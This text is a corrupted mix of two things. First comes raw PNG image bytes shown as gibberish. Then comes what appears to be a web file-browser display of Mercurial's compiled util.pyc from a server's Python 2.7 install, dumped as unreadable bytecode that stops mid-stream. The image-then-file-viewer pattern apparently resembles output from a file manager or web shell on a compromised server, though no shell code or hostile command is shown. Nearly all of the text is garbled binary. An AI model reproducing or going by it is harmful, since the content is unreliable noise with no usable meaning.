PNG  IHDRX cHRMz&u0`:pQ<bKGD pHYsodtIME MeqIDATxw]Wug^Qd˶ 6`!N:!@xI~)%7%@Bh&`lnjVF29gΨ4E$|>cɚ{gk= %,a KX%,a KX%,a KX%,a KX%,a KX%,a KX%, b` ǟzeאfp]<!SJmɤY޲ڿ,%c ~ع9VH.!Ͳz&QynֺTkRR.BLHi٪:l;@(!MԴ=žI,:o&N'Kù\vRmJ雵֫AWic H@" !: Cé||]k-Ha oݜ:y F())u]aG7*JV@J415p=sZH!=!DRʯvɱh~V\}v/GKY$n]"X"}t@ xS76^[bw4dsce)2dU0 CkMa-U5tvLƀ~mlMwfGE/-]7XAƟ`׮g ewxwC4\[~7@O-Q( a*XGƒ{ ՟}$_y3tĐƤatgvێi|K=uVyrŲlLӪuܿzwk$m87k( `múcE)"@rK( z4$D; 2kW=Xb$V[Ru819קR~qloѱDyįݎ*mxw]y5e4K@ЃI0A D@"BDk_)N\8͜9dz"fK0zɿvM /.:2O{ Nb=M=7>??Zuo32 DLD@D| &+֎C #B8ַ`bOb $D#ͮҪtx]%`ES`Ru[=¾!@Od37LJ0!OIR4m]GZRJu$‡c=%~s@6SKy?CeIh:[vR@Lh | (BhAMy=݃  G"'wzn޺~8ԽSh ~T*A:xR[ܹ?X[uKL_=fDȊ؂p0}7=D$Ekq!/t.*2ʼnDbŞ}DijYaȲ(""6HA;:LzxQ‘(SQQ}*PL*fc\s `/d'QXW, e`#kPGZuŞuO{{wm[&NBTiiI0bukcA9<4@SӊH*؎4U/'2U5.(9JuDfrޱtycU%j(:RUbArLֺN)udA':uGQN"-"Is.*+k@ `Ojs@yU/ H:l;@yyTn}_yw!VkRJ4P)~y#)r,D =ě"Q]ci'%HI4ZL0"MJy 8A{ aN<8D"1#IJi >XjX֔#@>-{vN!8tRݻ^)N_╗FJEk]CT՟ YP:_|H1@ CBk]yKYp|og?*dGvzنzӴzjֺNkC~AbZƷ`.H)=!QͷVTT(| u78y֮}|[8-Vjp%2JPk[}ԉaH8Wpqhwr:vWª<}l77_~{s۴V+RCģ%WRZ\AqHifɤL36: #F:p]Bq/z{0CU6ݳEv_^k7'>sq*+kH%a`0ԣisqにtү04gVgW΂iJiS'3w.w}l6MC2uԯ|>JF5`fV5m`Y**Db1FKNttu]4ccsQNnex/87+}xaUW9y>ͯ骵G{䩓Գ3+vU}~jJ.NFRD7<aJDB1#ҳgSb,+CS?/ VG J?|?,2#M9}B)MiE+G`-wo߫V`fio(}S^4e~V4bHOYb"b#E)dda:'?}׮4繏`{7Z"uny-?ǹ;0MKx{:_pÚmFמ:F " .LFQLG)Q8qN q¯¯3wOvxDb\. BKD9_NN &L:4D{mm o^tֽ:q!ƥ}K+<"m78N< ywsard5+вz~mnG)=}lYݧNj'QJS{S :UYS-952?&O-:W}(!6Mk4+>A>j+i|<<|;ر^߉=HE|V#F)Emm#}/"y GII웻Jі94+v뾧xu~5C95~ūH>c@덉pʃ1/4-A2G%7>m;–Y,cyyaln" ?ƻ!ʪ<{~h~i y.zZB̃/,雋SiC/JFMmBH&&FAbϓO^tubbb_hZ{_QZ-sύodFgO(6]TJA˯#`۶ɟ( %$&+V'~hiYy>922 Wp74Zkq+Ovn錄c>8~GqܲcWꂎz@"1A.}T)uiW4="jJ2W7mU/N0gcqܗOO}?9/wìXžΏ0 >֩(V^Rh32!Hj5`;O28؇2#ݕf3 ?sJd8NJ@7O0 b־?lldщ̡&|9C.8RTWwxWy46ah嘦mh٤&l zCy!PY?: CJyв]dm4ǜҐR޻RլhX{FƯanшQI@x' ao(kUUuxW_Ñ줮[w8 FRJ(8˼)_mQ _!RJhm=!cVmm ?sFOnll6Qk}alY}; "baӌ~M0w,Ggw2W:G/k2%R,_=u`WU R.9T"v,<\Ik޽/2110Ӿxc0gyC&Ny޽JҢrV6N ``یeA16"J³+Rj*;BϜkZPJaÍ<Jyw:NP8/D$ 011z֊Ⱳ3ι֘k1V_"h!JPIΣ'ɜ* aEAd:ݺ>y<}Lp&PlRfTb1]o .2EW\ͮ]38؋rTJsǏP@芎sF\> P^+dYJLbJ C-xϐn> ι$nj,;Ǖa FU *择|h ~izť3ᤓ`K'-f tL7JK+vf2)V'-sFuB4i+m+@My=O҈0"|Yxoj,3]:cо3 $#uŘ%Y"y죯LebqtҢVzq¼X)~>4L׶m~[1_k?kxֺQ`\ |ٛY4Ѯr!)N9{56(iNq}O()Em]=F&u?$HypWUeB\k]JɩSع9 Zqg4ZĊo oMcjZBU]B\TUd34ݝ~:7ڶSUsB0Z3srx 7`:5xcx !qZA!;%͚7&P H<WL!džOb5kF)xor^aujƍ7 Ǡ8/p^(L>ὴ-B,{ۇWzֺ^k]3\EE@7>lYBȝR.oHnXO/}sB|.i@ɥDB4tcm,@ӣgdtJ!lH$_vN166L__'Z)y&kH;:,Y7=J 9cG) V\hjiE;gya~%ks_nC~Er er)muuMg2;֫R)Md) ,¶ 2-wr#F7<-BBn~_(o=KO㭇[Xv eN_SMgSҐ BS헃D%g_N:/pe -wkG*9yYSZS.9cREL !k}<4_Xs#FmҶ:7R$i,fi!~' # !6/S6y@kZkZcX)%5V4P]VGYq%H1!;e1MV<!ϐHO021Dp= HMs~~a)ަu7G^];git!Frl]H/L$=AeUvZE4P\.,xi {-~p?2b#amXAHq)MWǾI_r`S Hz&|{ +ʖ_= (YS(_g0a03M`I&'9vl?MM+m~}*xT۲(fY*V4x@29s{DaY"toGNTO+xCAO~4Ϳ;p`Ѫ:>Ҵ7K 3}+0 387x\)a"/E>qpWB=1 ¨"MP(\xp߫́A3+J] n[ʼnӼaTbZUWb={~2ooKױӰp(CS\S筐R*JغV&&"FA}J>G֐p1ٸbk7 ŘH$JoN <8s^yk_[;gy-;߉DV{c B yce% aJhDȶ 2IdйIB/^n0tNtџdcKj4϶v~- CBcgqx9= PJ) dMsjpYB] GD4RDWX +h{y`,3ꊕ$`zj*N^TP4L:Iz9~6s) Ga:?y*J~?OrMwP\](21sZUD ?ܟQ5Q%ggW6QdO+\@ ̪X'GxN @'4=ˋ+*VwN ne_|(/BDfj5(Dq<*tNt1х!MV.C0 32b#?n0pzj#!38}޴o1KovCJ`8ŗ_"]] rDUy޲@ Ȗ-;xџ'^Y`zEd?0„ DAL18IS]VGq\4o !swV7ˣι%4FѮ~}6)OgS[~Q vcYbL!wG3 7띸*E Pql8=jT\꘿I(z<[6OrR8ºC~ډ]=rNl[g|v TMTղb-o}OrP^Q]<98S¤!k)G(Vkwyqyr޽Nv`N/e p/~NAOk \I:G6]4+K;j$R:Mi #*[AȚT,ʰ,;N{HZTGMoּy) ]%dHء9Պ䠬|<45,\=[bƟ8QXeB3- &dҩ^{>/86bXmZ]]yޚN[(WAHL$YAgDKp=5GHjU&99v簪C0vygln*P)9^͞}lMuiH!̍#DoRBn9l@ xA/_v=ȺT{7Yt2N"4!YN`ae >Q<XMydEB`VU}u]嫇.%e^ánE87Mu\t`cP=AD/G)sI"@MP;)]%fH9'FNsj1pVhY&9=0pfuJ&gޤx+k:!r˭wkl03׼Ku C &ѓYt{.O.zҏ z}/tf_wEp2gvX)GN#I ݭ߽v/ .& и(ZF{e"=V!{zW`, ]+LGz"(UJp|j( #V4, 8B 0 9OkRrlɱl94)'VH9=9W|>PS['G(*I1==C<5"Pg+x'K5EMd؞Af8lG ?D FtoB[je?{k3zQ vZ;%Ɠ,]E>KZ+T/ EJxOZ1i #T<@ I}q9/t'zi(EMqw`mYkU6;[t4DPeckeM;H}_g pMww}k6#H㶏+b8雡Sxp)&C $@'b,fPߑt$RbJ'vznuS ~8='72_`{q纶|Q)Xk}cPz9p7O:'|G~8wx(a 0QCko|0ASD>Ip=4Q, d|F8RcU"/KM opKle M3#i0c%<7׿p&pZq[TR"BpqauIp$ 8~Ĩ!8Սx\ւdT>>Z40ks7 z2IQ}ItԀ<-%S⍤};zIb$I 5K}Q͙D8UguWE$Jh )cu4N tZl+[]M4k8֦Zeq֮M7uIqG 1==tLtR,ƜSrHYt&QP윯Lg' I,3@P'}'R˪e/%-Auv·ñ\> vDJzlӾNv5:|K/Jb6KI9)Zh*ZAi`?S {aiVDԲuy5W7pWeQJk֤#5&V<̺@/GH?^τZL|IJNvI:'P=Ϛt"¨=cud S Q.Ki0 !cJy;LJR;G{BJy޺[^8fK6)=yʊ+(k|&xQ2`L?Ȓ2@Mf 0C`6-%pKpm')c$׻K5[J*U[/#hH!6acB JA _|uMvDyk y)6OPYjœ50VT K}cǻP[ $:]4MEA.y)|B)cf-A?(e|lɉ#P9V)[9t.EiQPDѠ3ϴ;E:+Օ t ȥ~|_N2,ZJLt4! %ա]u {+=p.GhNcŞQI?Nd'yeh n7zi1DB)1S | S#ًZs2|Ɛy$F SxeX{7Vl.Src3E℃Q>b6G ўYCmtկ~=K0f(=LrAS GN'ɹ9<\!a`)֕y[uՍ[09` 9 +57ts6}b4{oqd+J5fa/,97J#6yν99mRWxJyѡyu_TJc`~W>l^q#Ts#2"nD1%fS)FU w{ܯ R{ ˎ󅃏џDsZSQS;LV;7 Od1&1n$ N /.q3~eNɪ]E#oM~}v֯FڦwyZ=<<>Xo稯lfMFV6p02|*=tV!c~]fa5Y^Q_WN|Vs 0ҘދU97OI'N2'8N֭fgg-}V%y]U4 峧p*91#9U kCac_AFңĪy뚇Y_AiuYyTTYЗ-(!JFLt›17uTozc. S;7A&&<ԋ5y;Ro+:' *eYJkWR[@F %SHWP 72k4 qLd'J "zB6{AC0ƁA6U.'F3:Ȅ(9ΜL;D]m8ڥ9}dU "v!;*13Rg^fJyShyy5auA?ɩGHRjo^]׽S)Fm\toy 4WQS@mE#%5ʈfFYDX ~D5Ϡ9tE9So_aU4?Ѽm%&c{n>.KW1Tlb}:j uGi(JgcYj0qn+>) %\!4{LaJso d||u//P_y7iRJ߬nHOy) l+@$($VFIQ9%EeKʈU. ia&FY̒mZ=)+qqoQn >L!qCiDB;Y<%} OgBxB!ØuG)WG9y(Ą{_yesuZmZZey'Wg#C~1Cev@0D $a@˲(.._GimA:uyw֬%;@!JkQVM_Ow:P.s\)ot- ˹"`B,e CRtaEUP<0'}r3[>?G8xU~Nqu;Wm8\RIkբ^5@k+5(By'L&'gBJ3ݶ!/㮻w҅ yqPWUg<e"Qy*167΃sJ\oz]T*UQ<\FԎ`HaNmڜ6DysCask8wP8y9``GJ9lF\G g's Nn͵MLN֪u$| /|7=]O)6s !ĴAKh]q_ap $HH'\1jB^s\|- W1:=6lJBqjY^LsPk""`]w)󭃈,(HC ?䔨Y$Sʣ{4Z+0NvQkhol6C.婧/u]FwiVjZka&%6\F*Ny#8O,22+|Db~d ~Çwc N:FuuCe&oZ(l;@ee-+Wn`44AMK➝2BRՈt7g*1gph9N) *"TF*R(#'88pm=}X]u[i7bEc|\~EMn}P瘊J)K.0i1M6=7'_\kaZ(Th{K*GJyytw"IO-PWJk)..axӝ47"89Cc7ĐBiZx 7m!fy|ϿF9CbȩV 9V-՛^pV̌ɄS#Bv4-@]Vxt-Z, &ֺ*diؠ2^VXbs֔Ìl.jQ]Y[47gj=幽ex)A0ip׳ W2[ᎇhuE^~q흙L} #-b۸oFJ_QP3r6jr+"nfzRJTUqoaۍ /$d8Mx'ݓ= OՃ| )$2mcM*cЙj}f };n YG w0Ia!1Q.oYfr]DyISaP}"dIӗթO67jqR ҊƐƈaɤGG|h;t]䗖oSv|iZqX)oalv;۩meEJ\!8=$4QU4Xo&VEĊ YS^E#d,yX_> ۘ-e\ "Wa6uLĜZi`aD9.% w~mB(02G[6y.773a7 /=o7D)$Z 66 $bY^\CuP. (x'"J60׿Y:Oi;F{w佩b+\Yi`TDWa~|VH)8q/=9!g߆2Y)?ND)%?Ǐ`k/sn:;O299yB=a[Ng 3˲N}vLNy;*?x?~L&=xyӴ~}q{qE*IQ^^ͧvü{Huu=R|>JyUlZV, B~/YF!Y\u_ݼF{_C)LD]m {H 0ihhadd nUkf3oٺCvE\)QJi+֥@tDJkB$1!Đr0XQ|q?d2) Ӣ_}qv-< FŊ߫%roppVBwü~JidY4:}L6M7f٬F "?71<2#?Jyy4뷢<_a7_=Q E=S1И/9{+93֮E{ǂw{))?maÆm(uLE#lïZ  ~d];+]h j?!|$F}*"4(v'8s<ŏUkm7^7no1w2ؗ}TrͿEk>p'8OB7d7R(A 9.*Mi^ͳ; eeUwS+C)uO@ =Sy]` }l8^ZzRXj[^iUɺ$tj))<sbDJfg=Pk_{xaKo1:-uyG0M ԃ\0Lvuy'ȱc2Ji AdyVgVh!{]/&}}ċJ#%d !+87<;qN޼Nفl|1N:8ya  8}k¾+-$4FiZYÔXk*I&'@iI99)HSh4+2G:tGhS^繿 Kتm0 вDk}֚+QT4;sC}rՅE,8CX-e~>G&'9xpW,%Fh,Ry56Y–hW-(v_,? ; qrBk4-V7HQ;ˇ^Gv1JVV%,ik;D_W!))+BoS4QsTM;gt+ndS-~:11Sgv!0qRVh!"Ȋ(̦Yl.]PQWgٳE'`%W1{ndΗBk|Ž7ʒR~,lnoa&:ü$ 3<a[CBݮwt"o\ePJ=Hz"_c^Z.#ˆ*x z̝grY]tdkP*:97YľXyBkD4N.C_[;F9`8& !AMO c `@BA& Ost\-\NX+Xp < !bj3C&QL+*&kAQ=04}cC!9~820G'PC9xa!w&bo_1 Sw"ܱ V )Yl3+ס2KoXOx]"`^WOy :3GO0g;%Yv㐫(R/r (s } u B &FeYZh0y> =2<Ϟc/ -u= c&׭,.0"g"7 6T!vl#sc>{u/Oh Bᾈ)۴74]x7 gMӒ"d]U)}" v4co[ ɡs 5Gg=XR14?5A}D "b{0$L .\4y{_fe:kVS\\O]c^W52LSBDM! C3Dhr̦RtArx4&agaN3Cf<Ԉp4~ B'"1@.b_/xQ} _߃҉/gٓ2Qkqp0շpZ2fԫYz< 4L.Cyυι1t@鎫Fe sYfsF}^ V}N<_`p)alٶ "(XEAVZ<)2},:Ir*#m_YӼ R%a||EƼIJ,,+f"96r/}0jE/)s)cjW#w'Sʯ5<66lj$a~3Kʛy 2:cZ:Yh))+a߭K::N,Q F'qB]={.]h85C9cr=}*rk?vwV렵ٸW Rs%}rNAkDv|uFLBkWY YkX מ|)1!$#3%y?pF<@<Rr0}: }\J [5FRxY<9"SQdE(Q*Qʻ)q1E0B_O24[U'],lOb ]~WjHޏTQ5Syu wq)xnw8~)c 쫬gٲߠ H% k5dƝk> kEj,0% b"vi2Wس_CuK)K{n|>t{P1򨾜j>'kEkƗBg*H%'_aY6Bn!TL&ɌOb{c`'d^{t\i^[uɐ[}q0lM˕G:‚4kb祔c^:?bpg… +37stH:0}en6x˟%/<]BL&* 5&fK9Mq)/iyqtA%kUe[ڛKN]Ě^,"`/ s[EQQm?|XJ߅92m]G.E΃ח U*Cn.j_)Tѧj̿30ڇ!A0=͜ar I3$C^-9#|pk!)?7.x9 @OO;WƝZBFU keZ75F6Tc6"ZȚs2y/1 ʵ:u4xa`C>6Rb/Yм)^=+~uRd`/|_8xbB0?Ft||Z\##|K 0>>zxv8۴吅q 8ĥ)"6>~\8:qM}#͚'ĉ#p\׶ l#bA?)|g g9|8jP(cr,BwV (WliVxxᡁ@0Okn;ɥh$_ckCgriv}>=wGzβ KkBɛ[˪ !J)h&k2%07δt}!d<9;I&0wV/ v 0<H}L&8ob%Hi|޶o&h1L|u֦y~󛱢8fٲUsւ)0oiFx2}X[zVYr_;N(w]_4B@OanC?gĦx>мgx>ΛToZoOMp>40>V Oy V9iq!4 LN,ˢu{jsz]|"R޻&'ƚ{53ўFu(<٪9:΋]B;)B>1::8;~)Yt|0(pw2N%&X,URBK)3\zz&}ax4;ǟ(tLNg{N|Ǽ\G#C9g$^\}p?556]/RP.90 k,U8/u776s ʪ_01چ|\N 0VV*3H鴃J7iI!wG_^ypl}r*jɤSR 5QN@ iZ#1ٰy;_\3\BQQ x:WJv츟ٯ$"@6 S#qe딇(/P( Dy~TOϻ<4:-+F`0||;Xl-"uw$Цi󼕝mKʩorz"mϺ$F:~E'ҐvD\y?Rr8_He@ e~O,T.(ފR*cY^m|cVR[8 JҡSm!ΆԨb)RHG{?MpqrmN>߶Y)\p,d#xۆWY*,l6]v0h15M˙MS8+EdI='LBJIH7_9{Caз*Lq,dt >+~ّeʏ?xԕ4bBAŚjﵫ!'\Ը$WNvKO}ӽmSşذqsOy?\[,d@'73'j%kOe`1.g2"e =YIzS2|zŐƄa\U,dP;jhhhaxǶ?КZ՚.q SE+XrbOu%\GتX(H,N^~]JyEZQKceTQ]VGYqnah;y$cQahT&QPZ*iZ8UQQM.qo/T\7X"u?Mttl2Xq(IoW{R^ ux*SYJ! 4S.Jy~ BROS[V|žKNɛP(L6V^|cR7i7nZW1Fd@ Ara{詑|(T*dN]Ko?s=@ |_EvF]׍kR)eBJc" MUUbY6`~V޴dJKß&~'d3i WWWWWW
Current Directory: /usr/lib64/python2.7/site-packages/mercurial
Viewing File: /usr/lib64/python2.7/site-packages/mercurial/util.pyc
� } �^c@sz dZddlmZddlZddlZddlZddlZddlZddlZddl Z ddl Z ddl Z ddl Z ddl Z ddlZddlZddlZddlZddlZddlZddlZddlZe jdkrddlZn ddlZejZejZejZejZejZejZej Z ej!Z!ej"Z"ej#Z#ej$Z$ej%Z%ej&Z&ej'Z'ej(Z(ej)Z)ej*Z*ej+Z+ej,Z,ej-Z-ej.Z.ej/Z/ej0Z0ej1Z1ej2Z2ej3Z3ej4Z4ej5Z5ej6Z6ej7Z7ej8Z8ej9Z9ej:Z:ej;Z;ej<Z<ej=Z=ej>Z>ej?Z?ej@Z@ejAZAeBedejC�ZCejDZDejEZEejFZFejGZGejHZHejIZIejJZJejKZKeL�ZMd�ZNdd�aOdd �aPy eQZQWn?eRk r^e jSd d krOd d �ZQn d d �ZQnXddlTZTe jdkZUeVeWd�ZXeVeWd�ZYeVeWd�ZZd�Z[dddddddddddddd d!d"d#d$d%d&d'd(d)d*fZ\e\d+d,d-d.fZ]d/�Z^yej_j`ej_Z_Wn*eak r`d0ej_fd1��YZ_nXd2eLfd3��YZbd4�Zcd5eLfd6��YZdd7�Zed8�Zfiefd96eed:6Zgd;�Zhd<�Zid=d>d?�ZjejkZkd@�ZldA�ZmdB�ZneVaodC�ZpdD�ZqdE�ZrieVeVeVeVdF�ZsdG�ZtdH�ZueVdI�ZvdJj@�ZwdKZxdL�Zye jdkr�eyZzn ejzZzdM�Z{dN�Z|dO�Z}dP�Z~yddlZeVa�Wne�k r�eWa�nXd dQ�Z�iZ�dR�Z�dS�Z�dT�Z�dU�Z�dV�Z�eWeVdW�Z�dXeLfdY��YZ�eVeWdZ�Z�eVd[�Z�d\�Z�d]�Z�d^�Z�d_eLfd`��YZ�d>eVda�Z�db�Z�eVdcdd�Z�eVde�Z�gdf�Z�eVidg�Z�dh�Z�di�Z�dj�Z�dk�Z�dl�Z�dmdn�Z�do�Z�e�dpdqdr>eds�fdtdqdr>edu�fdqdqdr>edv�fdpdqdw>edx�fdtdqdw>edy�fdqdqdw>edz�fdpdqdt>ed{�fdtdqdt>ed|�fdqdqdt>ed}�fdqdqed~�f� Z�d�Z�d��a�ddd��Z�d��Z�d��Z�d��Z�d��Z�ye�e�f\Z�Z�Wn#eRk r�d��Z�d��Z�nXeVeWd��Z�d��Z�i e�d�6e�d�6e�d�6e�d�6e�d�6eWd�6eWd�6eWd�6eWd�6eWd�6Z�d��Z�d�Z�e�d��e�D��Z�d��Z�d�eLfd���YZ�d��Z�d��Z�d��Z�d��Z�d��Z�d��Z�d��Z�e�dqd�ed��fdpdqed��fdtdqed��fdqdqed��fdpd�ed��fdtd�ed��fdqd�ed��fdpd�ed��fdtd�ed��fdqd�ed��fdpd�ed��fdtd�ed��fdqd�ed��f� Z�d gZ�d��Z�dS(�s�Mercurial utility functions and platform specific implementations. This contains helper routines that are independent of the SCM core and hide platform-specific details from the core. i����(t_Ntntt statfilescCst||t�tk S(N(tgetattrt_notset(tthingtattr((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt safehasattrQstcCs t|�S(s� Low-overhead wrapper around Python's SHA support >>> f = _fastsha1 >>> a = sha1() >>> a = f() >>> a.hexdigest() 'da39a3ee5e6b4b0d3255bfef95601890afd80709' (t _fastsha1(ts((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsha1Ts cCsFtjdkr"ddlm}nddlm}|aa||�S(Niii����(R (tsha(ii(tsyst version_infothashlibR R R (R t_sha1((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR as  iicCs||S(N((t sliceabletoffset((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytbufferqscCst|�|S(N(t memoryview(RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRtstposixcCsOtj|dtdddtdtjdtjd|d|�}|j|jfS( Ntshelltbufsizei����t close_fdststdintstdouttuniversal_newlinestenv(t subprocesstPopentTruetclosefdstPIPERR(tcmdRtnewlinestp((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytpopen2zs  cCs+t|||�\}}}}|||fS(N(tpopen4(R"RR#RRtstderrR$((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytpopen3�scCsatj|dtdddtdtjdtjdtjd|d |�}|j|j|j|fS( NRRi����RRRR'RR(RRRR R!RRR'(R"RR#R$((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR&�s  cCs0yddl}|jSWntk r+dSXdS(s(Return version information if available.i����Ntunknown(t __version__tversiont ImportError(R*((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR+�s    s%Y-%m-%d %H:%M:%Ss%Y-%m-%d %I:%M:%S%ps%Y-%m-%d %H:%Ms%Y-%m-%d %I:%M%ps%Y-%m-%ds%m-%ds%m/%ds%m/%d/%ys%m/%d/%Ys%a %b %d %H:%M:%S %Ys%a %b %d %I:%M:%S%p %Ys%a, %d %b %Y %H:%M:%Ss%b %d %H:%M:%S %Ys%b %d %I:%M:%S%p %Ys%b %d %H:%M:%Ss%b %d %I:%M:%S%ps %b %d %H:%Ms %b %d %I:%M%ps%b %d %Ys%b %ds%H:%M:%Ss %I:%M:%S%ps%H:%Ms%I:%M%ps%Ys%Y-%ms%bs%b %YcsCi��jjdkr-��fd�}n��fd�}|S(s"cache the result of function callsics'|�kr�|��|<n�|S(N((targ(tcachetfunc(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytf�s cs'|�kr�|��|<n�|S(N((targs(R.R/(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR0�s (t func_codet co_argcount(R/R0((R.R/s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt cachefunc�s tdequecBseZd�ZRS(cCs8x1t|�D]#\}}||kr ||=Pq q WdS(N(t enumerate(tselftvaltitv((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytremove�s (t__name__t __module__R;(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR5�st lrucachedictcBs2eZdZd�Zd�Zd�Zd�ZRS(s6cache most recent gets from or sets to this dictionarycCs"i|_||_t�|_dS(N(t_cachet_maxsizeR5t_order(R7tmaxsize((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__init__�s  cCs1|j|}|jj|�|jj|�|S(N(R?RAR;tappend(R7tkeytvalue((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __getitem__�s cCsq||jkr@t|j�|jkrP|j|jj�=qPn|jj|�||j|<|jj|�dS(N(R?tlenR@RAtpopleftR;RD(R7RERF((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __setitem__�s  cCs ||jkS(N(R?(R7RE((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __contains__�s(R<R=t__doc__RCRGRJRK(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR>�s    csRi�t���jjdkr9���fd�}n���fd�}|S(s+cache most recent results of function callsicsc|�krAt��dkr.��j�=n�|��|<n �j|��j|��|S(Ni(RHRIR;RD(R-(R.R/torder(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR0�s   csc|�krAt��dkr.��j�=n�|��|<n �j|��j|��|S(Ni(RHRIR;RD(R1(R.R/RM(s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR0s   (R5R2R3(R/R0((R.R/RMs4/usr/lib64/python2.7/site-packages/mercurial/util.pyt lrucachefunc�s    t propertycachecBs&eZd�Zdd�Zd�ZRS(cCs||_|j|_dS(N(R/R<tname(R7R/((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRCs cCs#|j|�}|j||�|S(N(R/t cachevalue(R7tobjttypetresult((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__get__scCst||j|�dS(N(tsetattrRP(R7RRRF((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQsN(R<R=RCtNoneRURQ(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyROs  c CsFtj|dtdtdtjdtj�}|j|�\}}|S(s9filter string S through command CMD, returning its outputRRRR(RRRR R!t communicate(R R"R$tpouttperr((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt pipefiltersc Cs�d \}}ztjdd�\}}tj|d�}|j|�|j�tjdd�\}}tj|�|jd|�}|jd|�}tj|�}t j dkr�|d@r�d }n|r�t t d �|t |�f��nt|d �}|j�}|j�|SWd y|r;tj|�nWntk rOnXy|ritj|�nWntk r}nXXd S(s�filter string S through a pair of temporary files with CMD. CMD is used as a template to create the real command to be run, with the strings INFILE and OUTFILE replaced by the real names of the temporary files generated.tprefixs hg-filter-in-twbshg-filter-out-tINFILEtOUTFILEtOpenVMSiiscommand '%s' failed: %strbN(NN(RWttempfiletmkstemptostfdopentwritetclosetreplacetsystemR tplatformtAbortRt explainexittopentreadtunlinktOSError( R R"tinnametoutnametinfdtfptoutfdtcodetr((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt tempfilter#s<          s tempfile:spipe:cCsVxFtj�D]8\}}|j|�r |||t|�j��Sq Wt||�S(sIfilter a string through a command that transforms its input to its output(t filtertablet iteritemst startswithRHtlstripR[(R R"RPtfn((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytfilterMs!cCst|od|k�S(s&return true if a string is binary datat(tbool(R ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytbinaryTsiiccs�d�}g}d}x�|D]�}|j|�|t|�7}||kr||kr�|d>}d||�>}||kr�|}n||kr�|}q�ndj|�Vd}g}qqW|r�dj|�VndS(srreturn no less than min bytes per chunk while data remains, doubling min after each chunk until it reaches maxcSs9|s dSd}x|r0|dL}|d7}qW|dS(Nii((txR9((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytlog2[s  iiRN(RDRHtjoin(tsourcetmintmaxR�tbuftblentchunktnmin((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytincreasingchunksXs&           cCstS(N(R(R}((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytalwaysyscCstS(N(tFalse(R}((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytnever|scCs!|st|�Stjj|�r�tjj|�dtjj|�dkrgtjj|t|��Sdjt|�|f�}nt|�|jd�}}|j �|j �x8|r�|r�|d|dkr�|j �|j �q�W|j �tj jdgt |�|�p dS(sareturn the relative path from one place to another. root should use os.sep to separate directories n1 should use os.sep to separate directories n2 should use "/" to separate directories returns an os.sep-separated path. If n1 is a relative path, it's assumed it's relative to root. n2 should always be relative to root. it/i����s..t.( t localpathRdtpathtisabst splitdriveR�tpconvertt splitpathtsplittreversetpoptsepRH(troottn1tn2tatb((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytpathtos  ,  #  cCs+ttd�p*ttd�p*tjd�S(s�return True if we are a frozen executable. The code supports py2exe (most common, Windows only) and tools/freeze (portable, not much used). tfrozent importerst__main__(RR timpt is_frozen(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt mainfrozen�scCs�tdkr�tjjd�}tjd}|r>t|�q�t�rWttj �q�tj j t |dd��dkr�t|j �q�td�p�tj j tjd�}t|�ntS(s]return location of the 'hg' executable. Defaults to $HG or 'hg' in the search path. tHGR�t__file__RthgiN(t _hgexecutableRWRdtenvirontgetR tmodulest_sethgexecutableR�t executableR�tbasenameRR�tfindexetargv(R�tmainmodtexe((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt hgexecutable�s    $% cCs |adS(s#set location of the 'hg' executableN(R�(R�((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR��sc s'ytjj�Wntk r$nXd��|}t|�}tjdkr}|dk rktj|�ntj |�}nt tj �}|j �fd�|j �D��t�|d<|dks�|tjkrtj|dtdtd|d|�}nmtj|dtdtd|d|d tjd tj�} x| jD]} |j| �qDW| j�| j}tjd kr�|d @r�d }n|r#|r#dtjj|jdd �d �t|�d f} |r�d|| f} ny|j| d�Wq#tk r|| ��q#Xn|S(s�enhanced shell command execution. run with environment maybe modified, maybe in different dir. if command fails and onerr is None, return status. if ui object, print error message and return status, else raise onerr object as exception. if out is specified, it is assumed to be a file-like object that has a write() method. stdout and stderr will be redirected to out.cSs6|dks|tkrdS|tkr,dSt|�S(s9convert python object into string that is useful to shellt0t1N(RWR�Rtstr(R8((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytpy2shell�s  tplan9c3s'|]\}}|�|�fVqdS(N((t.0tkR:(R�(s4/usr/lib64/python2.7/site-packages/mercurial/util.pys <genexpr>�sR�RRRtcwdRR'R`iis%s %ss%s: %ss N( R Rtflusht Exceptiont quotecommandRjRWRdtchdirRitdictR�tupdateRzR�t __stdout__RtcallRR RR!tSTDOUTRftwaitt returncodeR�R�R�RltwarntAttributeError( R"R�R�tonerrt errprefixtouttorigcmdtrcRtproctlineterrmsg((R�s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRi�sH     #      " cs�fd�}|S(s5wrap a function with code to check for calling errorscs]y�||�SWnEtk rXttjtj�d��dkrRtj�n�nXdS(Nii(t TypeErrorRHt 